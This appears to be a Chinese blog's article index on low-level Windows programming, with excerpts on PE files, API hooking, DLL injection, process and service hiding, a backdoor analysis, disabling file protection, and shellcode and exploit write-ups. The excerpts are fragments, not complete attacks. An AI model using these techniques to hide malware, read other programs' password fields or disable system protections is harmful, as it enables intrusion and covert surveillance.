4.為我們的假函數(shù)在目標(biāo)進程加載的DLL中分配空間(我是把代碼寫在PE頭的后面)這兒要改該內(nèi)存的屬性為讀寫執(zhí)行(PAGE_EXECUTE_READWRITE).為了方便編譯我們的假函數(shù)是寫在代碼段中的,在運行時要把這些代碼移到數(shù)據(jù)段,然后把第3步取出的指令放在數(shù)據(jù)段中相應(yīng)的偏移處.同時還要在數(shù)據(jù)段中設(shè)置跳回真實函數(shù)的JMP指令.
5.把真正的API開頭的指令改為JMP到我們的假函數(shù)中.
.
閱讀全文
什么是PE文件及PE文件的結(jié)構(gòu)和簡述(ZT)
摘要:
一個操作系統(tǒng)的可執(zhí)行文件格式在很多方面是這個系統(tǒng)的一面鏡子。雖然學(xué)習(xí)一個可執(zhí)行文件格式通常不是一個程序員的首要任務(wù),但是你可以從這其中學(xué)到大量的知識。在這篇文章中,我會給出 MicroSoft 的所有基于 win32系統(tǒng)(如winnt,win9x)的可移植可執(zhí)行(PE)文件格式的詳細(xì)介紹。在可預(yù)知的未來,包括 Windows2000 , PE 文件格式在 MicroSoft 的操作系統(tǒng)中扮演一個重要的角色。如果你在使用 Win32 或 Winnt ,那么你已經(jīng)在使用 PE 文件了。甚至你只是在 Windows3.1 下使用 Visual C++ 編程,你使用的仍然是 PE 文件(Visual C++ 的 32 位 MS-DOS 擴展組件用這個格式)。簡而言之,PE 格式已經(jīng)普遍應(yīng)用,并且在不短的將來仍是不可避免的。現(xiàn)在是時候找出這種新的可執(zhí)行文件格式為操作系統(tǒng)帶來的東西了。
我最后不會讓你盯住無窮無盡的十六進制Dump,也不會詳細(xì)討論頁面的每一個單獨的位的重要性。代替的,我會向你介紹包含在 PE 文件中的概念,并且將他們和你每天都遇到的東西聯(lián)系起來。比如,線程局部變量
閱讀全文
C++字符串完全指引(ZT)
摘要: 許多關(guān)于字符串的問題,在文章最后的參考文章中,相信有更加深入和精確的描述。不過關(guān)于中文的處理,我想先補充一些自己的看法。
背景:WIN32 console程序,使用printf輸出字符串。相信許多人都有使用過。
平臺:VisualStudio.NET 2003(MFC 7.1)。
MBCS UNICODE
蔡 b2 cc 21 85
A 41 00 41 00
程序段1:使用std::string
#include
.........
閱讀全文
關(guān)于PE可執(zhí)行文件的修改(ZT)
摘要: 1、PE文件框架構(gòu)成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件結(jié)構(gòu)的總體層次分布。所有 PE文件(甚至32位的 DLLs) 必須以一個簡單的 DOS MZ header 開始,在偏移0處有DOS下可執(zhí)行文件的“MZ標(biāo)志”,有了它,一旦程序在DOS下執(zhí)行,DOS就能識別出這是有效的執(zhí)行體,然后運行緊隨 MZ header 之后的 DOS stub。DOS stub實際上是個有效的EXE,在不支持 PE文件格式的操作系統(tǒng)中,它將簡單顯示一個錯誤提示,類似于字符串 " This program cannot run in DOS mode " 或者程序員可根據(jù)自己的意圖實現(xiàn)完整的 DOS代碼。通常DOS stub由匯編器/編譯器自動生成,對我們的用處不是很大,它簡單調(diào)用中斷21h服務(wù)9來顯示字符串"This program cannot run in DOS mode"。
閱讀全文
Windows應(yīng)用程序捆綁核心編程(ZT)
摘要:
1.1 引言 1.2 內(nèi)存管理概述 1.3 虛擬內(nèi)存訪問
1.4 文件的內(nèi)存映射 1.4 文件的內(nèi)存映射(2) 1.5 深入認(rèn)識指針的真正含義
1.6 本章小結(jié) 參考文獻
第2章 再談PE文件結(jié)構(gòu)
2.1 引言 2.2 PE文件格式概述 2.3 PE文件結(jié)構(gòu)
2.3 PE文件結(jié)構(gòu) 2.4 如何獲取PE文件中的OEP 2.5 PE文件中的資源
2.6 一個修改PE可執(zhí)行文件的完整實例(1) 2.6 一個修改PE可執(zhí)行文件的完整實例(2) 2.7 本章小結(jié)
參考文獻
第3章 進程之間通信概述及初級技術(shù)
3.1 引言 3.2 進程通信概述 3.3 使用自定義消息通信
3.4 使用WM_COPYDATA消息通信 3.4 使用WM_COPYDATA消息通信 3.5 使用內(nèi)存讀寫函數(shù)和內(nèi)存映射文件通信
3.6 使用動態(tài)鏈接庫通信 3.7 使用Windows剪貼板通信 3.
閱讀全文
Creating the smallest possible PE executable
摘要: Tiny PE
Creating the smallest possible PE executable
This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.
In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In t
閱讀全文
vc的編譯參數(shù)優(yōu)化(ZT)
摘要:
/*
Author: void#ph4nt0m.org
*/
// 編譯器 cl.exe(Visual C++ 6.0)
// 沒有做任何優(yōu)化情況下,編譯大小為:16K
// 編譯優(yōu)化后: 1K (用16進制編輯器把尾部的0x00去掉: 712bytes)
#include
#pragma comment(lib,"kernel32.lib")
// 作用: 指定節(jié)對齊為512字節(jié)
#pragma comment(linker, "/align:512")
..........
閱讀全文
向其他進程注入代碼的三種方法(ZT)
摘要: 我們在Code project(www.codeproject.com)上可以找到許多密碼間諜程序(譯者注:那些可以看到別的程序中密碼框內(nèi)容的軟件),他們都依賴于Windows鉤子技術(shù)。要實現(xiàn)這個還有其他的方法嗎?有!但是,首先,讓我們簡單回顧一下我們要實現(xiàn)的目標(biāo),以便你能弄清楚我在說什么。
要讀取一個控件的內(nèi)容,不管它是否屬于你自己的程序,一般來說需要發(fā)送 WM_GETTEXT 消息到那個控件。這對edit控件也有效,但是有一種情況例外。如果這個edit控件屬于其他進程并且具有 ES_PASSWORD 風(fēng)格的話,這種方法就不會成功。只有“擁有(OWNS)”這個密碼控件的進程才可以用 WM_GETTEXT 取得它的內(nèi)容。所以,我們的問題就是:如何讓下面這句代碼在其他進程的地址空間中運行起來:
::SendMessage( hPwdEdit, WM_GETTEXT, nMaxChars, psBuffer );
一般來說,這個問題有三種可能的解決方案:
1. 把你的代碼放到一個DLL中;然后用 wind
閱讀全文
Inject your code to a Portable Executable file
摘要:
0序文
也許你想要了解一個病毒,注入到程序內(nèi)部并且感染他的方法,或者你對保護你特殊的PE文件的數(shù)據(jù)感興趣。你能使用這篇文章的源代碼構(gòu)建你自定義的EXE BUILDER。如果用在好的方面,他能教你怎樣保護或封裝加密你的PE文件,但是同樣如果你用在邪惡的方面,他能產(chǎn)生一個病毒。然而,我寫這篇文章的目的是前者,所以,我不會為不道德的使用負(fù)責(zé)。
1預(yù)備知識
按照主題這篇文章不需要特殊的預(yù)備知識,如果你已經(jīng)了解了DEBUGGER和文件結(jié)構(gòu),那么我建議你跳過2,3部分,這兩部分是為毫無基礎(chǔ)的人準(zhǔn)備的。
2.PE文件的結(jié)構(gòu)
規(guī)定PE文件的結(jié)構(gòu)為WINDOWS OS提供了最好的方式去執(zhí)行代碼,并且儲存一個程序運行所需要的基本數(shù)據(jù)。例如常量,變量等等。
................
閱讀全文
VC編譯OCCI的解決方案
摘要: 1、增加接口。在OcciDml.hpp中增加extern "C" int __declspec(dllexport) funA(char* a); 在OcciDml.cpp中將函數(shù)聲明修改為extern "C" int __declspec(dllexport) funA(char* a)
2、修改頭文件。在需要引入的所有類中,替換為
#ifndef OCCI_ORACLE
#define WIN32COMMON
#include "occi.h"
using namespace oracle::occi;
using namespace std;
#endif
否則會出現(xiàn)錯誤如下:
d:\oracle\ora92\oci\include\occicontrol.h(1132) : error C2995: 'getVector' : template function has already been defined
d:\oracle\ora92\oci\include\occicommon
閱讀全文
扭曲變換加密(ZT)
摘要:
一,一般來講,加密就是加殼
我們經(jīng)常考慮,一個可執(zhí)行文件,怎么樣加密才能安全呢?
一般用的手段,是加殼。加殼工具的工作原理,就是把可執(zhí)行文件的代碼與
數(shù)據(jù)都進行加密變換,作為數(shù)據(jù)存放。生成的目標(biāo)文件入口代碼是加殼軟件
準(zhǔn)備好的防跟蹤代碼。經(jīng)過漫長的防跟蹤代碼后,會把原始可執(zhí)行文件的代碼
與數(shù)據(jù)段恢復(fù),然后跳轉(zhuǎn)到原來的入口處,繼續(xù)運行。這樣做的缺點是,不管
你的加密多強,防跟蹤代碼多牛,只要一運行,在內(nèi)存中就全部恢復(fù)了。只要
把內(nèi)存映象dump下來,反匯編一下,就清清楚楚了。甚至有工具可以直接把
dump下來的內(nèi)存映象存為可執(zhí)行文件。這樣加密就徹底失敗了。
......
閱讀全文
OllyDbg Format String 0day分析和利用(ZT)
摘要:
OD作為一款Ring3下的調(diào)試器以優(yōu)異的性能博得了廣大密界愛好者的一致肯定,就在最近milw0rm上公布了一個OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前寫了很多棧溢出的漏洞,卻很少有Format String的漏洞,這次OD給我們提供了一個熟悉Format String問題的機會(只有原版的OD存在此問題,看雪論壇的修改版OllyIce不存在此問題)。
........
閱讀全文
編寫Unicode有效的Shellcode(ZT)
摘要:
對于溢出愛好者來說,能夠編寫Shellcode是一個必備的基本技能,特別是能應(yīng)對各種在實際情況中對Shellcode存在各種限制條件的時候,這種能力就顯得尤為重要了。黑防2007年第二期中介紹了純字母數(shù)字的Shellcode的編寫,在3期中的WinRAR 7z溢出中就派上了用場。Unicode大家應(yīng)該不陌生,在一些大型程序中,比如Word、Excel考慮到不同語言平臺的差異性,都會使用 Unicode,在利用這些漏洞的時候,我們以往的Shellcode就難以適用了。一個普通的Down&Exec的Shellcode經(jīng)過 MultiByteToWideChar函數(shù)轉(zhuǎn)換成Unicode后
..........
閱讀全文
插入DLL和掛接API(ZT)
摘要:
每個進程都有它自己的私有地址空間。當(dāng)使用指針來引用內(nèi)存時,指針的值將引用你自己進程的地址空間中的一個內(nèi)存地址,有些情況下,必須打破進程的界限,訪問另一個進程的地址空間,這些情況包括:
...........
閱讀全文
內(nèi)核級利用通用Hook函數(shù)方法檢測進程(ZT)
摘要:
介紹通用Hook的一點思想:
在系統(tǒng)內(nèi)核級中,MS的很多信息都沒公開,包括函數(shù)的參數(shù)數(shù)目,每個參數(shù)的類型等。在系統(tǒng)內(nèi)核中,訪問了大量的寄存器,而很多寄存器的值,是上層調(diào)用者提供的。如果值改變系統(tǒng)就會變得不穩(wěn)定。很可能出現(xiàn)不可想象的后果。另外有時候?qū)π枰狧ook的函數(shù)的參數(shù)不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導(dǎo)致藍屏。所以Hook的最佳原則是在自己的Hook函數(shù)中呼叫原函數(shù)的時候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數(shù)中不會出錯。一般我們自己的Hook的函數(shù)都是寫在C文件里面的。例如Hook的目標(biāo)函數(shù)KiReadyThread。
........
閱讀全文
WTS APIs(Windows終端服務(wù)API)獲取進程信息(ZT)
摘要:
WTS APIs(Windows終端服務(wù)API)獲取進程信息
Windows XP 有一個新特性叫做“快速用戶轉(zhuǎn)換——Fast User Switching”,這個特性允許多個用戶同時在一臺機器上登陸。當(dāng)一個用戶登陸后,另一個用戶啟動的進程仍然能夠運行。這個神奇的特性所倚仗的是 WTS APIs。如果你想了解更多有關(guān) WTS 的內(nèi)容,可以參考 MSJ Oct99 的一篇文章:“Windows NT和 Windows 2000 終端服務(wù)APIs介紹”,作者是 Frank Kim。
Windows XP為每一個登陸用戶創(chuàng)建一個WTS會話(Session)。每個運行進程總是與這樣一個Session關(guān)聯(lián)。Windows XP的任務(wù)管理器允許你列出進程清單,不論是針對所有會話的還是僅僅針對自己的會話,任務(wù)管理器對話框的進程標(biāo)簽中有一個"顯示所有用戶的進程"復(fù)選框可以對此進行選擇。
.................
閱讀全文
“黑客之門”后門的魅力(ZT)
摘要: “黑客之門”介紹
黑客之門采用的目前一些先進的后門技術(shù),它只有一個Dll文件,通過感染系統(tǒng)文件啟動自身,被感染的系統(tǒng)文件大小和日期都不會改變;同時采用線程插入技術(shù),本身沒有進程;本身不開端口,而是重用系統(tǒng)進程開的任意一個端口,如80,135,139,445等,因此它的隱藏性非常好,而且穿透防火墻也是很容易的事。這個版本文件不大,只提供一些很有用的命令。目前還沒有發(fā)現(xiàn)如何工具能查到這個后門,象Fport,Llister,RKDetector等查工具都失效。
程序的自啟動
既然是一個后門,那么就要隨系統(tǒng)的啟動而啟動,根據(jù)黑客之門的介紹,它是通過感染系統(tǒng)程序文件來實現(xiàn)程序的自啟動的。既然是感染了系統(tǒng)文件(像病毒),那就看看感染前和感染后的系統(tǒng)文件的區(qū)別吧!為了測試感染前后的差別,我準(zhǔn)備了一個專門用來被感染的文件TestLoad.exe,它沒有什么功能,只是彈出一個對話框,這樣好等待測試,麻雀雖小,五臟俱全,省得動系統(tǒng)文件了。接著運行命令:
...................
閱讀全文
獲取通過終端登錄的當(dāng)前用戶winlogon進程pid
摘要: /*此代碼用于獲取通過終端登錄的當(dāng)前用戶winlogon進程pid
在開了終端服務(wù)的機器上運行沒問題,沒有開終端服務(wù)的得不到pid,自己修改吧
Author:009
Email:baicker.009(a)gmail.com
Web:http://www.tkk7.com/baicker
Date:20070720
*/
#include <stdio.h>
#include <windows.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")
void main()
{
DWORD ProcessId, SessionId;
BOOL Res=0;
DWORD winlogonPid = 0;
............
閱讀全文
淺析本機API(ZT)
摘要:
此文只能說是一篇筆記,是關(guān)于本機API的.本機API是除了Win32 API,NT平臺開放了另一個基本接口。本機API也被很多人所熟悉,因為內(nèi)核模式模塊位于更低的系統(tǒng)級別,在那個級別上環(huán)境子系統(tǒng)是不可見的。盡管如此,并不需要驅(qū)動級別去訪問這個接口,普通的Win32程序可以在任何時候向下調(diào)用本機API。并沒有任何技術(shù)上的限制,只不過微軟不支持這種應(yīng)用開發(fā)方法。
User32.dll,kernel32.dll,shell32.dll,gdi32.dll,rpcrt4.dll,comctl32.dll, advapi32.dll,version.dll等dll代表了Win32 API的基本提供者。Win32 API中的所有調(diào)用最終都轉(zhuǎn)向了ntdll.dll,再由它轉(zhuǎn)發(fā)至ntoskrnl.exe。ntdll.dll是本機 API用戶模式的終端。真正的接口在ntoskrnl.exe里完成。事實上,內(nèi)核模式的驅(qū)動大部分時間調(diào)用這個模塊,如果它們請求系統(tǒng)服務(wù)。 Ntdll.dll的主要作用就是讓內(nèi)核函數(shù)的特定子集可以被用戶模式下運行的程序調(diào)用。Ntdll.dll通過軟件
閱讀全文
匯編ring3下實現(xiàn)HOOK API續(xù)之備份函數(shù)法(ZT)
摘要: 我曾經(jīng)寫過一編文章,名字叫"匯編ring3下實現(xiàn)HOOK API",里面詳細(xì)介紹了匯編ring3下實現(xiàn)HOOK API的幾種方法,文章中著重介
紹了介紹了"改寫內(nèi)存地址JMP法"的方法,這也是比較通用的一種方法,讓我們再來回顧一下改寫內(nèi)存地址JMP法的具體方法::
直接跳轉(zhuǎn),改變API函數(shù)的入口或出口的幾個字節(jié),使程序跳轉(zhuǎn)到自己的函數(shù),該方法不受程序加殼的限制。這種技術(shù),說起來也不
復(fù)雜,就是改變程序流程的技術(shù)。在CPU的指令里,有幾條指令可以改變程序的流程:JMP,CALL,INT,RET,RETF,IRET等指令。理
論上只要改變API入口和出口的任何機器碼,都可以HOOK,下面我就說說常用的改寫API入口點的方法:
因為工作在Ring3模式下,我們不能直接修改物理內(nèi)存,只能一個一個打開修改,但具體的方法又分成好幾種,我給大家介紹幾種操
作思路:
.......
閱讀全文
匯編ring3下實現(xiàn)HOOK API (ZT)
摘要:
=====[ 1. 內(nèi)容 ]=============================================
1. 內(nèi)容
2. 介紹
2.1 什么叫Hook API?
2.2 API Hook的應(yīng)用介紹
2.3 API Hook的原則
3. 掛鉤方法
3.1 改寫IAT導(dǎo)入表法
3.2 改寫內(nèi)存地址JMP法
4. 匯編實現(xiàn)
4.1. 代碼
4.2. 分析
5. 結(jié)束語
=====[ 2. 介紹 ]================================================
這篇文章是有關(guān)在OS Windows下掛鉤API函數(shù)的方法。所有例子都在基于NT技術(shù)的Windows版本NT4.0
及以上有效(Windows NT 4.0, Windows 2000, Windows XP)。可能在其它Windows系統(tǒng)也會有效。
你應(yīng)該比較熟悉Windows下的進程、匯編器、和一些
閱讀全文
未公開函數(shù)MessageBoxTimeOut 實現(xiàn)定時消息(ZT)
摘要: #include
#include
//Functions & other definitions required-->
typedef int (__stdcall *MSGBOXAAPI)(IN HWND hWnd,
IN LPCSTR lpText, IN LPCSTR lpCaption,
IN UINT uType, IN WORD wLanguageId, IN DWORD dwMilliseconds);
typedef int (__stdcall *MSGBOXWAPI)(IN HWND hWnd,
IN LPCWSTR lpText, IN LPCWSTR lpCaption,
IN UINT uType, IN WORD wLanguageId, IN DWORD dwMilliseconds);
int MessageBoxTimeoutA(IN HWND hWn 閱讀全文
關(guān)閉SFC[文件保護]的源代碼(ZT)
摘要: WindowsXP Professional SP2測試通過.
.386
.Model Flat,StdCall
Option CaseMap :None
Include \Masm32\Include\Windows.inc
Include \Masm32\Include\User32.inc
Include \Masm32\Include\Shell32.inc
Include \Masm32\Include\Kernel32.inc
Include \Masm32\Include\Advapi32.inc
..........
閱讀全文
編程禁止Windows文件保護(ZT)
摘要: 這里要用到一個未公開的API——SfcFileException,其聲明如下:
代碼:
DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
參數(shù)說明: dwUnknown0 未知,設(shè)為0
pwszFile 文件名
dwUnknown1 未知,設(shè)為-1
...........
閱讀全文
Load and Unload (ZT)
摘要: 一、前言
在前一段時間,我遭遇了一個現(xiàn)象詭異的Bug,最后原因歸結(jié)為在DllMain里錯誤地調(diào)用了FreeLibrary(在本文最后對此Bug有詳細(xì)的解釋)。MSDN里關(guān)于禁止在DllMain里調(diào)用 LoadLibrary和FreeLibrary的解釋過于含糊不清,所以我重溫了一遍Russ Osterlund的"Windows 2000 Loader"一文,并仔細(xì)閱讀了泄漏的Win2000源代碼的相關(guān)部分。按照我一貫的習(xí)慣,我的閱讀過程形成了我這篇文章的主體。自從我2000年寫了"ATL接口映射宏詳解" 以來,我還沒寫過這么大塊頭的文章。我不知道有多少人耐著性子看完了"ATL接口映射宏詳解",我猜想這篇文章的命運也不會比它的前輩好多少。在這個技術(shù)更新越來越快的年代里,人們會對這種陷入實現(xiàn)細(xì)節(jié)的文章感到厭煩,而我自己在若干年后可能也不會有耐心和勇氣面對它,但文章最后對幾個問題的解釋也還是有實用價值的,另外尋根究底的精神也總是應(yīng)該存在的。
..............
閱讀全文
Windows NT使用技巧、編程原理及程序示例(ZT)
摘要: 1. 利用Net User命令和Cacls命令做用戶管理
2. 利用At命令做日程管理
3. 利用用戶登錄腳本實現(xiàn)開機提示
4. 利用Net Session命令實現(xiàn)登錄用戶統(tǒng)計
5. Windows NT局域網(wǎng)管理API函數(shù)庫(NETAPI)簡介
6. 怎樣添加、刪除、配置用戶?
7. 怎樣修改用戶口令?
8. 怎樣編程實現(xiàn)用戶的注銷和關(guān)機?
9. 怎樣獲取所有登錄用戶列表?
10. 怎樣向用戶或計算機發(fā)送消息?
11. 怎樣實現(xiàn)遠程關(guān)閉計算機?
12. UNICODE字符串和普通ASCII字符串怎樣轉(zhuǎn)換?
13. 如何獲取系統(tǒng)錯誤信息?
14. 什么是Service(服務(wù))程序?
15. 如何使自己的應(yīng)用程序成為Service?
16. 如何編制Service程序?
..................
閱讀全文
LNK1103: debugging information corrupt; recompile module
摘要: Linking...
Creating library Debug/xxx.lib and object Debug/xxx.exp
uuid.lib(comcat.obj) : fatal error LNK1103: debugging information corrupt; recompile module
Error executing link.exe.
.........
閱讀全文
控制臺下輸出DLL的調(diào)試信息(ZT)
摘要: 在cmd.exe下運行rundll32.exe mydll.dll,MyFunc ,本想直接在當(dāng)前cmd窗口輸出調(diào)試信息.
可因rundll32是Win32 GUI程序而非Win32 console,所以cmd.exe標(biāo)準(zhǔn)輸入輸出句柄無法被mydll.dll繼承用來向父進程cmd.exe輸出數(shù)據(jù).
這時, 如果用強行用GetStdHandle獲得句柄,然后用WriteConsole來進行輸出,則會發(fā)生無效句柄錯誤.
但是如果在這之前先AllocConsole,則可正常WriteConsole,但是會新建個控制臺窗口來輸出數(shù)據(jù),很不爽 :-P
有沒有什么辦法向當(dāng)前cmd.exe窗口輸出數(shù)據(jù)呢?
.............
閱讀全文
char *和char [ ]的區(qū)別(ZT)
摘要: 見程序如下:
#include "stdafx.h"
#include "string.h"
#include "stdio.h"
int main(int argc, char* argv[])
{
char source[]="This is a source sentence";
//char *source="This is a source sentence";
strtok(source,"a");
printf("%s\n",source);
return 0;
}
如果用被注釋掉的那句話,程序運行的時候就報錯。
................
閱讀全文
Windows下的進程隱藏(ZT)
摘要: 9X環(huán)境中Windows提供了想光的API函數(shù)用于隱藏系統(tǒng)進程。但是到了2000以上系統(tǒng),已經(jīng)無法真正的做到對于進程的隱藏,除非編寫底層驅(qū)動。但是我們可以通過一些變通的辦法來達到隱藏進程的目的,其中一個就是遠程注入。簡單的說就是先編寫一個 API的DLL,然后將這個DLL庫注入到一個系統(tǒng)進程中,作為它的一個線程去執(zhí)行。
要實現(xiàn)DLL注入,首先需要打開目標(biāo)進程。
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠程創(chuàng)建線程
PROCESS_VM_OPERATION | //允許遠程VM操作
PROCESS_VM_WRITE, //允許遠程VM寫
FALSE, dwRemoteProcessId )
...........
閱讀全文
ApiHook類(ZT)
摘要: // 頭文件
// ApiHook.h: interface for the CApiHook class.
//
//////////////////////////////////////////////////////////////////////
#ifndef API_HOOK_H
#define API_HOOK_H
class CApiHook
{
public :
HANDLE hProc ;
............
閱讀全文
APIHOOK之?dāng)r截OpenProcess(真正的實現(xiàn)了攔截TerminateProcess)(ZT)
摘要:
關(guān)于API HOOK(OpenProcess),根據(jù)網(wǎng)上文章改寫
以下是部分程序,在VC++6.0 Plat SDK 2003 SP1下編譯通過
#include <windows.h>
#include "APIHook.h"
extern CAPIHook g_OpenProcess;
// 自定義OpenProcess函數(shù)
#pragma data_seg("YCIShared")
HHOOK g_hHook = NULL;
DWORD dwCurrentProcessId=0;
#pragma data_seg()
HANDLE WINAPI Hook_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.................
閱讀全文
APIHOOK之殺毒軟件的簡單實現(xiàn)(ZT)
摘要: #define DEBUGMSG
#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"
#pragma comment (lib,"Psapi.lib")
#define erron GetLastError ()
TCHAR name[50]=""; //保存蟲蟲的文件名+路徑
FILE *Gfp=NULL; //輸出到文件
BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征碼函數(shù)
.......................
閱讀全文
應(yīng)用層隱藏服務(wù)的項目(ZT)
摘要: 應(yīng)用層隱藏服務(wù)的項目 2006-03-28
HideService
// *****************************************************************************//
//
// 文件名: AgentHk.cpp
// 所屬項目名稱:
// 所屬模塊名稱: AGENT Service Hook
// 所屬項目版本: 2.0
// 文件用途 :
// 文件作者 : horse_b
// 創(chuàng)建日期 : 2004-11-30
//
// 文件修改說明:
// 文件修改人:
// 修改日期:
//
//
//
//********************************************************************************//
.............
閱讀全文
“PE文件格式”1.9版 完整譯文(附注釋)
摘要: 標(biāo) 題: 【翻譯】“PE文件格式”1.9版 完整譯文(附注釋)
作 者: ah007
時 間: 2006-02-28,13:32
鏈 接: http://bbs.pediy.com/showthread.php?threadid=21932
$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $
PE文件格式系列譯文之一----
【翻譯】“PE文件格式”1.9版 完整譯文(附注釋)
=========================================================
原著:Bernd. Luevelsmeyer
翻譯:ah007
[注意:本譯文的所有大小標(biāo)題序號都是譯者添加,以方便大家閱讀。圓圈內(nèi)的數(shù)字是注釋的編號,其中注釋②譯自微軟的《PECOFF規(guī)范》,其它譯自網(wǎng)絡(luò)。----譯者]
.........
閱讀全文
用 SEH 技術(shù)實現(xiàn) API Hook(ZT)
摘要: 閱讀本文之前,我先假設(shè)讀者已經(jīng)知道了 SEH 和 API Hook 的基本概念,因為我不打算在此進行掃盲工作。什么?你不懂什么叫 SEH 和 API Hook ?那……先去找點資料看看吧,到處都有哦,推薦讀物:Jeffrey Richter 大牛的《Windows核心編程》。(沒話可說,研究系統(tǒng)底層編程的葵花寶典,必備!)
...........
閱讀全文
Fasm tutorial, assembly in windows.
摘要: Fasm tutorial, assembly in windows.
ok, this tutorial is aimed at those who know the basics behind assembly. i am not going to explain what hexedecimal,binary and decemal are, or how to convert between them or any of thatc stuff. that is well documented, google it if you dont know. this will be in many parts, and im going to deal with the useful stuff really, guis, that stuff...
ok, i am using a compiler called FASM, available at:
..............
閱讀全文
Hooking Windows API (ZT)
摘要:
===========================[ Hooking Windows API ]==============================
Technics of hooking API functions on Windows
--------------------------------------------
Author: Holy_Father
Version: 1.1 english
Date: 6.10.2002
Web: http://www.hxdef.org, http://hxdef.net.ru,
閱讀全文